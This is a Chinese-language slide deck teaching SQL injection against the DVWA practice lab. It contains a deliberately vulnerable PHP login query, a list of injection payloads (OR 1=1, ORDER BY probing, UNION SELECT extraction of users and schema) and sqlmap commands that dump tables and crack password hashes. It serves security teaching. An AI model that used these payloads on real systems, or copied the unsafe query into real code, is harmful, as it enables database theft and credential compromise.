Web Security

SQL Injection - SQLi

課程練習準備

  • 安裝 DVWA-1.9

  • 安裝 xmapp-5.5.38-VC11

  • 安裝 Kali Linux-2016.2

  • 安裝插件 Sql Inject me

  • 安裝插件 Tamper data

  • 安裝插件 hack bar

SQL 語法介紹

UPDATE:修改資料庫已存在資料

UPDATE account SET username=‘abcde’ WHERE uid=1;

從account這個表格中,將uid為1的username修改為abcde

SELECT:取得資料庫已存在資料

SELECT username FROM account WHERE uid=1;

​從account這個表格中,取得uid為1的username

​​

INSERT:新增⼀一筆資料

INSERT INTO account (username) VALUES (‘abcde’);

新增⼀一筆username為’abcde’的資料到account表格

 

DELETE:刪除⼀一筆資料

DELETE FROM account WHERE uid=1;

從account刪除uid=1的資料

資料隱碼攻擊

(SQL Injection)

假如有個登⼊入⾴面SQL指令是這樣

SELECT * FROM account WHERE username=‘’ AND password = ‘’

從 account表格中選擇

username=‘’ 且 password=‘’的資料

現在我們把PHP的參數丟進去

$sql = "SELECT * FROM account WHERE
username='".$_POST['username']."' AND password = '".$_POST['password']."'";
SELECT * FROM account WHERE 
username=‘demouser’ AND password = ‘demopass’;

如果今天使用者手賤,

輸⼊了一些奇怪的資料

$_POST[‘username’] = “1’ OR uid=‘1’/*”; 

$_POST[‘password’] = “*/ OR password=‘”;
$sql = “SELECT * FROM account WHERE username=‘."1' 
OR uid='1'/*".' AND password = ‘."*/ OR password=' ".'";

這⾏SQL到底執⾏起來是怎樣呢......

SELECT * FROM account WHERE

username='1' OR uid=‘1' OR password=‘’;

從account表格中選取username=‘1’或 uid=‘1’或password=‘’該列的所有資料

駭客的攻擊思維

1 or 1=1

1'or'1'='1

1'order by 1 --

1'order by 2 --

1'order by 3 --

1' and 1=2 union select 1,2 --

1' and 1=2 union select user(),database()  --

1' and 1=2 union select version(),database()  --

1'and 1=2 union select 1,@@global.version_compile_os from mysql.user --

1' and ord(mid(user(),1,1))=114 --

1' and 1=2 union select 1,schema_name from information_schema.schemata --

1' and exists(select * from users) --

1' and exists(select last_name from users) -- ​

1' and 1=2 union select first_name,last_name from users --

Sqlmap 自動化攻擊工具

Sqlmap

sqlmap -u“[url]” 
--cookie=“[cookies]”
-b --current-db --current-user
--cookie : 因為需要登入,所以一定要讓 sqlmap 有 cookies 可用,不然跳不到需要跑的頁面

-u : 指定目標的 URL

-b : 取得 DBMS 的 banner

--current-db : 顯示目前的 DB

--current-user : 顯示目前的 User
sqlmap -u“[url]” --cookie=”[cookies]" 
--users --password”
--users : 列出 DBMS 用戶

--password : 暴力破解 DBMS 用戶的密碼 hash
sqlmap -u“[url]” --cookie=”[cookies]" 
--dbs
--dbs : 列出所有的 DB
sqlmap -u“[url]” --cookie=”[cookies]" 
-D dvwa --tables
-D : 要列出的 DB

--tables : 列出 DB 底下所有的 Table

sqlmap -u“[url]” --cookie=”[cookies]" 
-D dvwa --tables
-D : 要列出的 DB

--tables : 列出 DB 底下所有的 Table

sqlmap -u“[url]” --cookie=”[cookies]" 
-D dvwa -T users --columns
-T : 要列出的 Table

--columns : 列出 Table 底下所有的列

sqlmap -u“[url]” --cookie=”[cookies]" 
-D dvwa -T users-C user,password --dump
-C : 要列出的 列

-dump : 轉除 DBMS 的資料表項

Q & A

Made with Slides.com